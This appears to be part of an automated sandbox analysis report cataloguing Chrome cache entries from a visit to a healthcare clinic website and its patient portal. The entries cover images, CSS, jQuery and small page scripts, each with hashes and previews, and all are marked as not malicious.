_.Mc?_.Oh(a):_.Qh(a)};_.Sh=function(a){return Array.prototype.slice.call(a)};.Th=function(a){return"function"===typeof Symbol&&"symbol"===typeof Symbol()?Symbol():a};_.Vh=funct

Chrome Cache Entry: 534

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 169 x 520, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	54996
Entropy (8bit):	7.990319247106949
Encrypted:	true
SSDEEP:	1536:SyhcyNEJ3e/YfJ2ZKL1kWaokKGoUUPrBSHOvoE5:t2y+HxlpsE5
MD5:	89C95031B56B90591FD4EF80558F8C25
SHA1:	9599F52C93B38F3E68686F299B3184BE0A9DE63A
SHA-256:	D64C12A76A61096F3A14AA795D12C3FC0DE8E5781EF2E1AF3B66517E65D7F00E
SHA-512:	7E03B61206FBCCD249CF45BFD67546BC0AD025DB9542FEE774414E222E93926B3842A0821E2579AE14395163D7749CAFD90CD8AEE27B14F75FE3F49083FB010F
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/google-language-translator/images/flags.png
Preview:	.PNG........IHDR................M....bKGD..............pHYs.................tIME......!ZB3... .IDATx..y..U...>Uu.^.I..%...K....B@...........qt...3_...F...wE.c........$$@.Ig.w..........{.vP.....u..P..:.<...y>..T.:.Nu.S..T....B8G\|.?.8\~.B.w........>.M...m.....p..+b.#Gr..o.?....XP..B...x.w..c.<...\|.l......u..?......G..v......q..rh.P`2......_..AX`..g-d4h..T..?\|....i.....xK.K...3.z7.......i.......f\|K...9@.......R..z..Of.........A..Bk.R(.E..:.`....H..Q.5)...\..w....D..8X..............4Zk..hm0R.\..w......ME.(.3.KN.$c..N...`..K.,,.a..F....4._K\..]RV.e..mE.>0w...\.;.D$..X.,..S.T.}..c\...#S).-.2N...N....C..Y".. ..h.b.&..k.+.y)I..g_..........yPp..IJX.&...Fi.5........h...hrF.....f...8....H:.....>..7..n....cN..s..>`2....yC.g@..R5M`p........[.z.}.%.N..M.......i...\|...d.!k4qa........o...k....z.`0i.02.).r.........?....V....m.yf..........5..J.[[..W.g..Y.....Ik.l@...:...W...\|..sN........4...gv.Wva.'.. .........-.Y..^.G.@...3p........m.k...U.

Chrome Cache Entry: 535

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	6225
Entropy (8bit):	5.976934819783072
Encrypted:	false
SSDEEP:	96:+R2K3Z4n7tyVwip82hezk6227gLFoXhu1XuE20ot+pVY3YptWDzOzgXK3Zx:ql3KnxyGGMzb7noR20NTww33
MD5:	2BD5C073A88B83ED74DB88282A56DDFB
SHA1:	D0EBFC376F8C6A44A8D4CD216817DCD7D0C33650
SHA-256:	AB5C23A05E39DEED14D9D8262B0DCE9F024F86105A27196CAD37D14A3F516E09
SHA-512:	5C6C4A92E93FC0F6A675658CC84F6187FDEBD3EEE94EFD07E24658736CBA598F3BC7156B19834B13FB44C1D43FCB7DF9FCCA7F0A453037E30DA76BA8F4B23B89
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" height="24" viewBox="0 0 24 24" width="24"><path d="M0 0h24v24H0z" fill="none"/><defs><path d="M21.5 5h-9.17L11 1H2.5C1.68 1 1 1.68 1 2.5v15c0 .83.68 1.5 1.5 1.5h9.17L13 23h8.5c.82 0 1.5-.68 1.5-1.5v-15c0-.83-.68-1.5-1.5-1.5z" id="a"/></defs><clipPath id="b"><use overflow="visible" xlink:href="#a"/></clipPath><g clip-path="url(#b)"><image height="31" opacity=".2" overflow="visible" transform="translate(3 1)" width="29" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAB0AAAAfCAYAAAAbW8YEAAAACXBIWXMAAAsSAAALEgHS3X78AAAA GXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAABQBJREFUeNq8V8tu20YUvXdm+LCk RKiMwI1TFEXhVZJd1gW66xekv9DPqPsvXdU/UaDroJskKy+CInCcGpKtFy2SM/f2DEXZia0odtKW AkFJ8zhzzn3S0Ycvps+79EMDbj3Yfgv4EM+XTN/fEOb3Zg3AXmq7j64D5/e/x/EfzZMnX5jx+LFZ LLyp6yNDOzskYb6RubFdpbdvKUl2Jc+d9PvP5dmzUyH6TVoYXQOq+H5g9vb+cONsO9maLpIyyZPU kZNAppmh9Vpg5kSXwCSVJ5/Vi/r8Tl73y2F9ePidJ3oaga+B4vkUgF+6EW1ndz11gvNdDdL1bDN

Chrome Cache Entry: 536

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1572)
Category:	downloaded
Size (bytes):	95820
Entropy (8bit):	5.44413880481635
Encrypted:	false
SSDEEP:	768:rIIMwDXiByBfBABaBuBjBiAWdbcMCw5Kqjjm4KtPcM573A43Fa/rQAjdqBJBABF5:rIIMwSk1CjAp
MD5:	D2CC4733F96DCA293F65F01CF4974BD4
SHA1:	D204A9A27327523629AF12FD603183497838E0EF
SHA-256:	E229B3F49F387D167005112D64F7E73F0E58D80F9172F9079D462E91F6E83311
SHA-512:	C7E78E08B1BB4F2CDA1FC98B1BD6CABCD9BE62EA91C96D945065E78660A95C2E6987EB935B984581EB590601704597926573D0A23145FDB3CFC94C8EDB44B85C
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Roboto%3A400%2C100%2C300%2C400%2C500%2C700%2C900%7CYanone+Kaffeesatz%3A200%2C300%2C400%2C500%2C600%2C700%7COpen+Sans%3A300%2C400%2C600%2C700%2C800%7CRoboto+Slab%3A100%2C200%2C300%2C400%2C500%2C600%2C700%2C800%2C900%7CPoppins%3A100%2C200%2C300%2C400%2C500%2C600%2C700%2C800%2C900&subset=latin%2Clatin-ext
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Open Sans';. font-style: normal;. font-weight: 300;. font-stretch: 100%;. src: url(https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSKmu1aB.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Open Sans';. font-style: normal;. font-weight: 300;. font-stretch: 100%;. src: url(https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSumu1aB.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek-ext /.@font-face {. font-family: 'Open Sans';. font-style: normal;. font-weight: 300;. font-stretch: 100%;. src: url(https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSOmu1aB.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./ greek */.@font-face {. font-family: 'Open Sans';. font-style: normal;

Chrome Cache Entry: 537

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1842
Entropy (8bit):	7.844880044441599
Encrypted:	false
SSDEEP:	48:CpBmStVyR9tjRq82OyNFQVYhMyTkRJO05Z:OuRP9q82OyNFQVY3CJOaZ
MD5:	C69C796362406F9E11C7F4BF5BB628DA
SHA1:	E489CE95AB56208090868882113D7416ABF46775
SHA-256:	4DAC0026FBFA2615DCE30C0AF12830863FE885F84387A0147B9E338F548D5D82
SHA-512:	D3AD560ED0FD29BE7D2CC434694F09E5A6FBEA8B29C0611AECB54A1B73B4D722C53F42A19DAE9E3D5D358444E50FB8FFFBC39D67CE751BDBC8C861F6F95D3162
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/images/branding/product/2x/translate_24dp.png
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Uw.X...........b.....pb.Sfff.6....3o.wvF.(..r.u..9_\|...Is%..D......Xz.c....;...y;.....&#.l......H...X..s..]}..5`aZ..D.m....uk.c..i.\|.H... I#yB.7.0..._E.".h..Xt.....9.4.......0:y.....F.ua^.\|.....K..G..b&2;.z."...B/l$..s3.@..G..Z..`...p..EUU.hni...aZZZT......."...H.Z.....H....<..g.......U.........f."../...Gg...$....<YTU.p.....ND"$^.5!..@.8....Nhj.f.]......"..B..i..,...oh.5.....F.L........;"C...bO....Qa.G..!.....4.._....l..N.].....g...PoD....1r{......X.1..!.....}.o....=..^6i.{.......9`i...\~...Dyy9..`..D...n>.....7:.....1...t.(.D.=>....DH.0...K.Mx....,....$..1.1.P.T.............@'..6...Kv..e...D.?.X...k.2..\|l.$m&...K/.c......Vn....V ...`I......8al.zT.=..+Wr..%?.X.`..g....,..[...nc..:!..$.@2..3.\|....sB...&...a.<..}).zX.Q.)5....X.1..bk.....Vn...C#.c......mx.=.[...,.r.G....OMS....e.06.#.+..8Fne......B!...%..,........W...*.F..x#.Vv....I..c(...x5..u.....`hP.......&>......8...D#Cg.v.{Hyb.v..8.K7X`.....\|O.z.

Chrome Cache Entry: 538

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (57147), with CRLF line terminators
Category:	downloaded
Size (bytes):	57337
Entropy (8bit):	4.717801378234002
Encrypted:	false
SSDEEP:	768:hYC319PizNq4/xeo8UHJPkQBR/oMQyYJrXA5CthZQzj:hYkPUE4/IuHRBBWfdAstAv
MD5:	7D9F20AFCDAB719E7BABDA515E964A44
SHA1:	2972BB4DB3363C9FF1383AAC2107ECA9585B3DB1
SHA-256:	9A9A28D750579AC666F56C250A9FE0CA251A3D312902C5AA8DDC118B776A1EF6
SHA-512:	761094A1BBB2BC8602AC536C4461C3BB0830F5D012A6B54A85E4F8832F9099F45159496615E460B3B46F68D6A3FF7160DA4FA45261B56BE8E595FCDE938F7410
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/wp-blog-post-layouts/includes/assets/fontawesome/css/all.min.css?ver=5.12.1
Preview:	/!.. Font Awesome Free 5.12.1 by @fontawesome - https://fontawesome.com.. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License).. */...fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.f

Chrome Cache Entry: 539

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (429)
Category:	downloaded
Size (bytes):	33463
Entropy (8bit):	4.919882772434238
Encrypted:	false
SSDEEP:	768:Q39DWxxYRw0Q2RIGpfl2pHIXJuDhtr+LxQJhilL7/X4SZGOYflJrxb6AiNoTXexQ:Q39WxxYo2RIy9ioXJuDhELxQJhilLjXQ
MD5:	71FCA81C97637DC206940B3885CDBD4C
SHA1:	6A786E458615DA9A9CE7E89F08F17EB6754EFE54
SHA-256:	1A5D5EF391FC08D1C2C847359141A673AAD599692658781E4A435F072191958A
SHA-512:	132519F16441D4B387E2E44F6CDC244C5A87163E8F5884DB345EBB46AA66DC1290A59B0E9415FDD6C9073C1AE9CCC1797D7B47BD8D9057FD18C0A43D69FCC1AE
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/bt_cost_calculator/cc.main.js
Preview:	'use strict';..(function( $ ) {....var total;....var is_rtl = false;..var rtl_direction = 1;....// ---------------..// Functions start..// ---------------....window.bt_cc_subtotal = ';var setSubtotal = function( id, val, ignore_format ) {' +..'if ( arguments.length < 2 \|\| ! jQuery( "#btSubtotalId"+id ) ) return;' +..'var c = jQuery( "#btSubtotalId" + id ).closest( ".btQuoteBooking" );' +..'if ( ignore_format !== true ) val = bt_cc_currency_format( c, val );' +..'var currency = c.data( "currency" );' +..'var currency_after = c.data( "currency_after" );' +..'var currency_space = c.data( "currency_space" );' +..'var hide_total = c.data( "hide_total" );' +..'if ( currency != "" && ignore_format !== true ) {' +...'if ( currency_after == "yes" ) {' +....'if ( currency_space == "yes" ) {' +.....'val = val + " " + currency;' +....'} else {' +.....'val = val + currency;' +....'}' +...'} else {' +....'if ( currency_space == "yes" ) {' +.....'val = currency + " " + val;' +....'} else {' +.....'va

Chrome Cache Entry: 540

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (37139), with no line terminators
Category:	downloaded
Size (bytes):	37139
Entropy (8bit):	4.852391294559339
Encrypted:	false
SSDEEP:	384:1pE3+tKzKlohXsBGB+N4B4XbIeBWIS0um9l/Jeet:C+8zjhXm0+Nq4LIXITuC
MD5:	8C24841BD2820470DF3C6612FF4ACFA1
SHA1:	20FEA49E9D2046951CB9B706E2FFBCBB6271E76E
SHA-256:	04EC0263D406E2E385454D1856EEC5285A9033F5E4A38C19CEBADE6E99EB57D3
SHA-512:	9D64295D60D2AE55FB3C372E05E991CB79535DB2A7548FF3880AE9C711391ADC099922C2C2EEEBD16AF14A71B5CF53D187AEEEFF07377A1691C7ED7EBF8299A6
Malicious:	false
Reputation:	low
URL:	https://static.ctctcdn.com/js/signup-form-widget/current/signup-form-widget.css
Preview:	div.ctct-form-embed form.ctct-form-custom{margin:0 auto;box-sizing:border-box;min-height:100px}div.ctct-form-embed form.ctct-form-custom div.ctct-form-field{margin:0 0 24px;text-align:left}div.ctct-form-embed form.ctct-form-custom div.ctct-form-listitem{margin-bottom:6px;display:table}div.ctct-form-embed form.ctct-form-custom div.ctct-form-listitem label.ctct-form-checkbox-label,div.ctct-form-embed form.ctct-form-custom div.ctct-form-listitem input[type=checkbox].ctct-form-checkbox{display:table-cell;vertical-align:middle;overflow-wrap:anywhere}div.ctct-form-embed form.ctct-form-custom select.ctct-select-element{width:100%;height:46px;padding:10px 15px;border:1px solid #b0b6bb;background-color:#fff;box-shadow:inset 0 1px 2px rgba(0,0,0,.1);border-radius:3px;font-size:14px;line-height:1.5;font-family:helvetica neue,Arial,sans-serif;color:#323232}div.ctct-form-embed form.ctct-form-custom select.ctct-select-element:focus{outline:1px solid #5dacd6}div.ctct-form-embed form.ctct-form-custom

Chrome Cache Entry: 541

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 98 x 90, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	11174
Entropy (8bit):	7.97758318268209
Encrypted:	false
SSDEEP:	192:b4JEM/GnDNmhq6mokMiqF/RhAUYaYL39w/RA1A4m63ux+9Tyv7RyRJgBHWHOYa7z:b4b4ghdiqFJyVpr9A63p9TG0RCZWH/K
MD5:	A4741C6089E163F0E5C0CDB2C698A03E
SHA1:	03B190C8D9350802CBABBCCD2757CFF1FB7115F0
SHA-256:	C9685B413894B0647B42EDF9CAC1FC0B2ED044C1FE238D843B9CA3D29DB1B805
SHA-512:	8F16410EDBC8893D9982CCAA1F2BA73BB1E7189B8101CE8EF3167D4663E5580A0BD2462295052A5DD86FA83AB3A0C4ED889204052951F8C6FA71E564D3EDCAFB
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...b...Z...........+mIDATx..O.a.A.3.....@....YY.5`......#B...\|...)F3S..8..H._.......N......v..i..k{D..r..wKhO...V$..XD..(...4]8......t...Q..f!C.{...o.:.sNJ!.~R.....GFG.$.o.a..m...S.a...("..uu1....h......V...).....V...+....@rd9b.. ........5..7.]...........,CD./.......K.; ......v......H..`..$.p.E.I/.{....5....`..........O_...H.c.."G.Jp}LB.....OU.$..%....=..+..P` .....vR..^.._...a. ..vX.LIH..-..F..x.?......bRr..@.1....b...`#.L".........\|....M.8$....IV.9s...;.WL....Q......8..h.....HIje.....a{.......:\...U.."...AYs.f.:.?RU.C5.,......Q.j..y...Nx.J....1.>.>-R.L.>.q?.H;.Z`.o...}...sN....k.........P.&>w.0".u.$.l.W2.q.=I.H......2.......I.H.x..> [.,.t7..$$....W.`..D..#).......sfv..A_.....{....cy-..H.x.U5...Ew`....JxB..\.o..\|........)..?~..D.A/...y0.%.D.;...0.K..d.v......;..x6B...Hg^E.6..~....g...'-.5.].c.[C2.$A.......!..b.d..U..$w:/.$B. )..P....Hq..3.!.l}]y.....`..s>.7.t.P.s.%d..E{M.m.....$.%...v..W..T:-........... 0....D4a".K...

Chrome Cache Entry: 542

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2624
Entropy (8bit):	7.896862186705419
Encrypted:	false
SSDEEP:	48:vw2Kr9vTon/gUCO4/+yuEkWiIN57ilnbeOxmaIFGrzrfFo5D:IJr92/Zbo+EiKil6BwG
MD5:	37D28F41AE1A6F015BE021318AD477C8
SHA1:	1478BA2BFAD055912ED09973720CAAC6EDEE043C
SHA-256:	3A6967F45B4435BBE71C2B83D185C6DBED91FF2A255BAB2D9BDD38D5F4D4D7E0
SHA-512:	141D8F2C2370D4EF6D2E1C94A288D2359A90FBAA7C32066744D1B834C26A27C3F916790BB32B1DD8F52773E6BAA94A64AA268B9A59E71510DB7A08DB3FB151DB
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...<...<.....:..r....sBIT....\|.d.....IDAThC.[yt....=,..!!.K..!...N ..m.1!..#...8%...^J....+.J.A.!6!...M).A`l#..(5-!..`\|.....+i..Q?Y.].J.H..KO.].....of1.Cz.."..&...YR.P....4.s.0gdM..<@.K.. 13P..h.[.u.R}....gtX.<1.j]...T2. .....DQ..2..v!.\4.........8IK.1......C...E<...Z.@.uw.{.kz..N.&..3.]S,BcJI}.T..E..R.._..q_.<...P../g.0.....L.Cv?.=6}8%Fn..FsVFzE.1J0....).;..]..^..p&....1..@.N.v..#{iI........5X....rtbt.PyNyxHD......6..<'hY.j..]G{....L].x.W>5b....C...1............H... ;X......)D.[i..9..-Z.B2.....W.p1.L4..0..7...7k.[..............B\|.n..%E~.0.q$G4`.I.s.D..89..~{........y.{s..1.T.6....%..S.`..w...8....g..`..............?(.Z.o..HB.....'..NM#..........s...M>..'b...~.id\..E....`@.....y..g..x.Z\=y....L..,fY...<...[<.....>...[z.../../K....z1...."e.5!...R.VA.(.-.........9..{>..KMM.M.!....6..t..f]..vX......E.'.i4Hy.`.k.C@....#.6..;....M.+`..!..~.[SM.`.y..9.@..WkQR....g...7./......Q!..^E.'....7..<...!..}...J.`.kIV..........@.L..h.

Chrome Cache Entry: 543

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	34519
Entropy (8bit):	5.131260904619241
Encrypted:	false
SSDEEP:	768:XogPyblLYxSouiwhctsusGXf6xZXa8FpLOd9vuTgbB4:YgPyblLYS2B4
MD5:	5E94C63EB56A02A462EF87CD7D0E8C2D
SHA1:	DACC93685A05267DF7F933630E66BBA5260EA0DF
SHA-256:	8631ACDB29D64F86EB65561E86DB3BFC42A7302D5C940B09916331E57880A636
SHA-512:	C2EA89EEA8C57D5AED4A86D7E7AE85104BF303822F9D9963FAA9BAA62C80EF8A006C6FE5602A731D1F16FF35DB5D7DA531221C3FCA54DF92BE01AEA96D1E68C1
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/assets/css/layout.css
Preview:	@font-face {.. font-family: 'healow';.. src: url('../fonts/healow.eot?qd9atp');.. src: url('../fonts/healow.eot?qd9atp#iefix') format('embedded-opentype'),.. url('../fonts/healow.ttf?qd9atp') format('truetype'),.. url('../fonts/healow.woff?qd9atp') format('woff'),.. url('../fonts/healow.svg?qd9atp#healow') format('svg');.. font-weight: normal;.. font-style: normal;.. font-display: block;..}....[class^="icon-"],..[class=" icon-"] {.. / use !important to prevent issues with browser extensions that change fonts /.. font-family: 'healow' !important;.. speak: never;.. font-style: normal;.. font-weight: normal;.. font-variant: normal;.. text-transform: none;.. line-height: 1;.... / Better Font Rendering =========== */.. -webkit-font-smoothing: antialiased;.. -moz-osx-font-smoothing: grayscale;..}...icon-lock:before {.. content: "\e94c";..}...icon-video-fill:before {.. content: "\e94b";..}...icon-mic-fill:before {.. content: "\e94a";..}...icon-arrow-down-outli

Chrome Cache Entry: 544

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 459 x 445, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	43974
Entropy (8bit):	7.96933871471359
Encrypted:	false
SSDEEP:	768:1D29L2cH7rs9VeXz2O7Hj5EQsQEGvzlBK2YZNc4ZKdjOlTYBaAnjOj9a9F:Bi2cHLzpDj5ESlvHKb1KdjbaZaH
MD5:	37CC774445CD44857F804539B5731846
SHA1:	56FFA8381376D4BACC43315E1FF20739A14CE09C
SHA-256:	AA95A4205DF23FD3E1CFBC6344FAEE223758A6B2B0B53FF8DDC910F90B80D264
SHA-512:	FE30F489545DB44A50CB32018D6D2FFBAD11A857EDBA7AD5E8BDA573E4AAC7D86FCC5D92620A93C6211BAE7D3C66B652015F6F9574630AC3DD376E0F9A4A5ADC
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/images/newLogin/book-an-appointment-landing-vector.png
Preview:	.PNG........IHDR.............zy].....sBIT....\|.d... .IDATx^..\|\....v.V.X].{...M1.C......!=.._*!$?.!!t..-@..%.Pm......^dK....{.H....-.&.d.sg...3g..H.Q@...D.Q@..W...#.....( ....+ ...".....( .xQ@`)CD...D.Q@..X....D.Q@....S@,.....E.Q@....@..e.t.4Q...D.Q 8.....'W....( .$......di.( ....@p..,..O...D.Q@.H........DQ@...D....X...\-.....(....,.......( ....) ..N?.Z...D.Q ...X&@'K.E.Q@....S@`..~r.( ....@.( .L.N.&....( .....28..jQ@...D..P@`...,M..D.Q@..N..ep....( .......2.:Y.(.....(.........E.Q@....@..e.t.4Q...D.Q 8.....'W....( .$......di.( ....@p..,..O..M......miN'e......,:..=...".DV@...<.r.t....S.ry..nw.-..@.w"k#m.......w9.4f..P...'..Cn.D(..uy...._.~..LC..#M.S......^.V..j\|.........k{GG.].>..]~.-...>) ..I&9.W.F...j0.&.v"..cq.(.NW..[.~O.N,I_...S.....Y.v{...=..Z..Vl.\..h.]...B...2.j&pY...f2Yf...s....Y.k2..4&.,...(.hz0.:`y..v;.u:..............2!.9...m.3.u.^._.....U....K.[.]..U......[...z<..7n.d..%....<.U0../+..a.._.o...\.H<.......Q...h6aL~.v.....-q.FQ..`U..1.i.Pe

Chrome Cache Entry: 545

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	554
Entropy (8bit):	4.823748340519034
Encrypted:	false
SSDEEP:	12:jggshtwp/D/AGFdkDy/VDKB14BJlpSVuQzYuHeQL6RyK+U:n4CuqNKYDl0oQtHeLV1
MD5:	24218B90277768249A63089B497653AE
SHA1:	0D760CBA3F2E412DCF45D67CA118757706CEEB2C
SHA-256:	FD11BFD6E948375EF7291B43198369F5876EFA0CABDEFCB1610A58183B572CD3
SHA-512:	4A575B834BAA6FEC314A4B686B216C3CA14B7172D8BE1E63231FDEA73169C01EE6D1E9FC18DC3B242F069B627639B9394269B9FE918E297E7BE34CC1B216A33E
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/script/newLogin/index.js
Preview:	// show Top button on scroll and move to top on click on button.var topDistance = $('.parallax-wrapper .parallax-section:first').offset().top,. index = $('body'),. btnMoveUp = $('.parallax-wrapper .go-up');. btnMoveUp.hide();.$(window).on('scroll', function () {. if ($(window).scrollTop() >= topDistance) {. btnMoveUp.fadeIn(300);. } else {. btnMoveUp.fadeOut(300);. }.});.btnMoveUp.on('click', function (e) {. e.preventDefault();. $('html, body').animate({. scrollTop: $(index).offset().top. }, 700);.});

Chrome Cache Entry: 546

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	89493
Entropy (8bit):	5.289599913770796
Encrypted:	false
SSDEEP:	1536:YjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h5cApwEjOPrBeU6QLiTFbc0QlQvakF:YYh8eip3hXuf6IidlrvakdtQ47GK1
MD5:	12108007906290015100837A6A61E9F4
SHA1:	1D6AE46F2FFA213DEDE37A521B011EC1CD8D1AD3
SHA-256:	C4DCCDD9AE25B64078E0C73F273DE94F8894D5C99E4741645ECE29AEEFC9C5A4
SHA-512:	93658F3EB4A044523A7136871E125D73C9005DA44CE09045103A35A4F18695888ECAFE2F9C0D0FA741B95CC618C6000F9AD9AFFC821A400EA7E5F2C0C8968530
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.5.0.min.js?ver=3.2.1
Preview:	/! jQuery v3.5.0 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 547

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5064), with no line terminators
Category:	downloaded
Size (bytes):	5064
Entropy (8bit):	4.893189910695674
Encrypted:	false
SSDEEP:	96:57osUc17WlOajf4mYC8DdLdTJk93ik8oLrWrzrsrT0:571eYC8ZLz
MD5:	216D791E61641ACE57D8D11A12BDE01E
SHA1:	28BDE6D98D1C689A712EFE037A9592E9FA103B09
SHA-256:	029DEDF319BC4536D9C663AE9C0B10C95D1E9F5DD1DE0AA73172E9E89AE254CC
SHA-512:	CD31993E3719A13C971386CBCA73AE88CB95E0833F2E8D9CD8FF9E0D070CEE43589A4DC34FD973A9E2001AEEEB0EA9CF44E96B7536F85F2A31A47F33E6C9FAC8
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/cookie-notice/css/front.min.css?ver=2.4.16
Preview:	#cookie-notice,#cookie-notice .cn-button:not(.cn-button-custom){font-family:-apple-system,BlinkMacSystemFont,Arial,Roboto,"Helvetica Neue",sans-serif;font-weight:400;font-size:13px;text-align:center}#cookie-notice{position:fixed;min-width:100%;height:auto;z-index:100000;letter-spacing:0;line-height:20px;left:0}#cookie-notice,#cookie-notice *{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#cookie-notice.cn-animated{-webkit-animation-duration:.5s!important;animation-duration:.5s!important;-webkit-animation-fill-mode:both;animation-fill-mode:both}#cookie-notice.cn-animated.cn-effect-none{-webkit-animation-duration:1ms!important;animation-duration:1ms!important}#cookie-notice .cookie-notice-container,#cookie-notice .cookie-revoke-container{display:block}#cookie-notice.cookie-notice-hidden .cookie-notice-container,#cookie-notice.cookie-revoke-hidden .cookie-revoke-container{display:none}.cn-position-top{top:0}.cn-position-bottom{bottom:0}.cookie-notice-contai

Chrome Cache Entry: 548

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	838
Entropy (8bit):	4.670822471754643
Encrypted:	false
SSDEEP:	24:2b7Ksen60AfVXF2ACfiVSApbE3zWlSabWH:C0A1gfMhG36YkWH
MD5:	49CEA0A781874A962879C2CACA9BC322
SHA1:	72C1650DE2B93EF320D2DB873FBB473FE360269C
SHA-256:	57A50C99A31EF4E89E86664E96F6DFBDDE163A2EB96E88B3B492C49AA4BE2F37
SHA-512:	7EBF5DA4637794CDAB0D199E8B0550E9230A1550804A4CE7FC723A8881E16D12327B9C40BCEECFF54ECE29DDE71BF41E63E8510ADF0827C4CD13C2392E6250A6
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/Valley-Pro-Calculator/public/js/valley-pro-calculator-public.js?ver=1.0.0
